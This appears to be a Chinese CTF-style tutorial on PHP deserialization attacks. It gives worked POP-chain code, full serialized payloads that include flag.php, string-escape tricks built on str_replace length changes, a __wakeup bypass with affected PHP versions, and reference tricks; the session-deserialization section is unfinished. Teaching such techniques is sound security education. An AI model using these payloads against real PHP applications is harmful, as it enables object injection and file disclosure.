一.pop链
在反序列化中,我们能控制的数据就是对象中的属性值(成员变量),所以在php反序列化中有一种漏洞利用方法叫“面向属性编程”,即pop(property oriented programming)。
pop链就是利用魔术方法在里面进行多次跳转然后获取敏感数据的一种playload.
二.poc编写
poc (proof of concept)中文翻译作概念验证。在安全界可以理解成漏洞验证程序。poc是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。编写一段不完整的程序,获取所需的序列化字符串。
来看一下一道反序列化例题
<?phpclass modifier{private $var; //注意私有属性只能在里面赋值。public function append($value){ //1include($value); //include存在文件包含点echo $flag;}public function __invoke(){$this->append($this->var); //将var赋值包含,flag.php。但是要触发invoke才行。触发invoke需要将对象当做函数调用}}class show{public $source;public $str;public function __tostring(){return $this->str->source; //3 可以发现这里有两次调用,可以同过实例化str为test对象,而test中不存在source} //这里又需要tostring,要把对象当字符串,找echo(输出字符串)public function __wakeup(){echo $this->source; //4 将source实例化成show可以出发tostring,这里又要触发wakeup,反序列化前触发。}
}class test{public $p;public function __construct(){$this->p=array();}public function __get($get){$function = $this->p;return $function(); //2 发现这里有函数调用,所以将$function实例化成对象成modifier,然而这里需要 //} //这里有需要触发get,get需要调用不存在的成员属性(找可以操作的调用)
}if(isset($_GRT['pop'])){unserialize($_GET['pop']);
}
?>
这里我在旁边做了注释,其实就是思路。一般pop链题目比较绕,可以做一些记号让思路更清晰一点。
以上过程明白后就需要构造poc了。获得序列化的字符串,当然可以手敲poc,但容易错且繁杂。
这里我选择直接输出出来。
$mod = new modifier();
$test = new test();
$show = new show();
$test -> p=$mod;
$show ->str=$test;
$show ->source=$show;
echo serialize($show); //获得序列化字符串
注意:这里需要先给modifier类中var赋值 private $var = 'flag.php' ;(私有属性只能在类里面赋值,无法外部引用赋值)
最后传参构造payload: url(题目路径)?pop=O:4:"show":2:{s:6:"source";r:1;s:3:"str";O:4:"test":1:{s:1:"p";O:8:"modifier":1:{s:13:"%00modifier%00var";s:8:"flag.php";}}}
如果这里不知道为什么加%00请看php反序列化(1)-CSDN博客
上传成功,得到flag.
正常情况下都是反推过程。
三. 反序列化逃逸
(1)反序列化分隔符
反序列化以 ;}结束,后面的字符串不影响正常的反序列化。
(2)逃逸基础
一般在数据先经过一次serialize再经过unserialize,在这个中间反序列的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
举个例子:
(1)
<?phpclass keep{var $a = "hr";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>
可见反序列化字符串可控。
注意:成员属性不对应和数字个数不对应的话都是不能进行反序列化的。
(2)
<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:2:"hr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));
?>
a,b是从反序列化中获取的。c是从类中获取的。
(3)
<?phpclass keep{var $a = "hr";var $c = "beauty";}echo serialize(new keep());$b = 'O:4:"keep":2:{s:1:"a";s:3:"hhr";s:1:"b";s:3:"jzy";}';var_dump(unserialize($b));?>
a的属性值与反序列化字符串一致。
(4) 格式(字符个数要匹配相依值,几个类就几个,多长就多长)
满足上述的条件后面加的东西并不会影响反序列化,注意长度,也就是前面都没有问题的情况下;}才是结束符。
<?phpclass A{public $v1 = 'a'; }echo serialize(new A());//O:1:"A":1:{s:2:"v1";s:1:"a";}$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}' ;//bool(false)$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}';//正常执行$b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';//bool(false)var_dump(unserialize($b));
??
(3)属性逃逸
一般在数据先经过一次serialize再经过unserialize,在这个中间进行反序列化的字符串变多或者变少的时候才有可能存在反序列化属性逃逸。
------- 减少
<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}
$data = serialize(new A());
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}
$data = str_replace("system()","",$data);
echo $data;
//O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";}
?>
现在 O:1:"A":2:{s:2:"v1";s:13:"nihao";s:2:"v2";s:3:"123";} 这个字符串已经不能成功反序列化了(后面格式错误),红色部分已经被吃了(当做了字符串的一部分)。
<?phpclass A{public $v1 = "nihaosystem()";public $v2 = "123";
}$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
?>
以这段代码为例,逃逸一个属性v3值为drama.
先获取了原序列化字符串
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
构造poc
//目标 $v3 = "drama"; 格式: s:2:"v3";s:5:"drama"; //21个
//一个system()吞8个 ";s:2:"v2";s:3:"123 //19个
"O:1:"A":2:{s:2:"v1";s:13:"nihaosystem()";s:2:"v2";s:3:"123";}"
//payload ";s:2:"v2";s:24:"123 20个
//4个system(),要吞32个 ,最终一共要吞 20个 如果吞多了就在123那补就行,少了就加system(),然后补就行 这里补32-20=12
"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
成功实现
//"O:1:"A":2:{s:2:"v1";s:37:"nihaosystem()system()system()system()";s:2:"v2";s:36:"123123123123123";s:2:"v3";s:5:"drama";}"
class A{//public $v1 = "nihaosystem()";//public $v2 = "123";public $v1 = "nihaosystem()system()system()system()";public $v2 = '123123123123123";s:2:"v3";s:5:"drama';
}$data = serialize(new A());
var_dump($data);
$data = str_replace("system()","",$data);
var_dump(unserialize($data));
结果
v1 v3从反序列化中来(poc构造语句)v2从类中来
反序列化字符串逃逸:多逃逸出一个成员属性
第一个字符串减少,吃掉有效代码,在第二个字符串构造代码。
------- 增多
反序列化字符串增多逃逸:构造出一个逃逸成员属性
第一个字符串增多,吐出多余代码,把多余代码构造成逃逸的成员属性。
<?phpclass A{public $v1 = 'ls';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data))
?>
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
当然是反序列化不出来的,替换过程格使发生错误。
假设想逃逸一个 $v3="zhiyuan";
构造poc
//目标$v3 = "zhiyuan"; 格式:s:2:"v3";s:7:"zhiyuan";} 需要;}来终止语句 24个
//O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
//O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}//可以知道一次替换吐一个
//";s:2:"v3";s:7:"zhiyuan";} 这些就是要吐出来的 26个 26*2+26=78
O:1:"A":2:{s:2:"v1";s:78:"lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}";s:2:"v2";s:3:"123";}
赋值执行
//属性逃逸 -增多
class A{//public $v1 = 'ls';//public $v2 = '123';public $v1 = 'lslslslslslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:7:"zhiyuan";}';public $v2 = '123';
}
$data = serialize(new A());
echo $data;
$data = str_replace("ls","pwd",$data);
echo $data;
var_dump(unserialize($data));
结果
这些数据名与我最近的娱乐活动有关,不知道有没有同道中人,嘿嘿。
wakeup魔术方法绕过(当然还有其他的绕过方式)
版本:(php5<5.6.25)(php7<7.0.10)
如果存在wakeup魔术方法,调用unserialize()之前先调用__wakeup,但是系列化字符串中对象属性个数的值大于真实的属性个数时,会跳过wakeup()的执行。
如果遇到正则表达式过滤数字可考虑用 + 来连接如过滤o后面的数字
可以: o:+5:"nihao";
(4)引用
<?phpinclude("flag.php");
class haha{var $enter;var $secret;
}
if(isset($_GET['pass'])){$pass = $_GET['pass'];$pass = str_replace('*','\*',$pass);
}
$over = unserialize($pass);
if($over){$o->secret ="*";if($over->secret === $o->enter)echo "congratulation!".$flag;elseecho "oh no...";
}
else echo "are you trolling?";
?>
向这种就可以 :
class haha{
var $enter;
var $secret;
}
$a = new haha();
$a->enter =&$a->secret;
类似于c语言中的取地址,但c语言中的指针删了内存也删了,php中的引用删了内存不会
四.session反序列化漏洞
(1)
如:haha|s:6:"123456";
(2)
(3)php_binary:键名的长度对应的ascll字符+键名+经过serialize()函数序列化处理的值
例子:
两个页面,一个衣php_serialize格式保存,一个以php格式读取。
ps.Success is not final, failure is not fatal. It is the courage to continue that counts.